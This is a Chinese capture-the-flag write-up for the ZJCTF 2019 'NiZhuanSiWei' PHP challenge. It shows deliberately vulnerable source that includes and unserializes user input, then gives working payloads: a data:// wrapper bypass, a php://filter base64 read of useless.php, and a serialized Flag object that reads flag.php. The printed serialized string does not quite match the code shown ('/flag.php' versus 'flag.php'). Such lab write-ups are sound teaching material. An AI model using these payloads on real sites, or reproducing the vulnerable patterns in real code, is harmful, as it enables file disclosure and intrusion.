[ZJCTF 2019]NiZhuanSiWei

发布时间 2023-10-09 15:03:58作者: 圆弧状态

原理

解题过程

进入靶场看到源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

粗略分析下,要传递三个参数值,text,file,password,其中,读取text参数值的内容与welcome to the zjctf一致
接下来file参数值不能含有flag,接着文件包含file参数值,并对password进行反序列化

先用data伪协议绕过text

data:text/plain,welcome to the zjctf
或者data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

之后提示了useless.php,刚好我们需要password序列化对象的类的结构,肯定要知道useless.php的源码,但是访问了也没啥东西啊
试试用filter伪协议读取

payload:file=php://filter/read=convert.base64-encode/resource=useless.php

成功拿到base64编码值,解码后为
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

第一个源码有 echo $password,也就会调用__tostring,提示我们传入$file=flag.php
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$a=new Flag();
$a->file='flag.php';
echo serialize($a);
打印出序列化值为:O:4:"Flag":1:{s:4:"file";s:9:"/flag.php";}

在页面原代码找到flag

参考文章:https://blog.csdn.net/li2254477890/article/details/121151365
反序列化文章:https://blog.csdn.net/weixin_39927214/article/details/116281659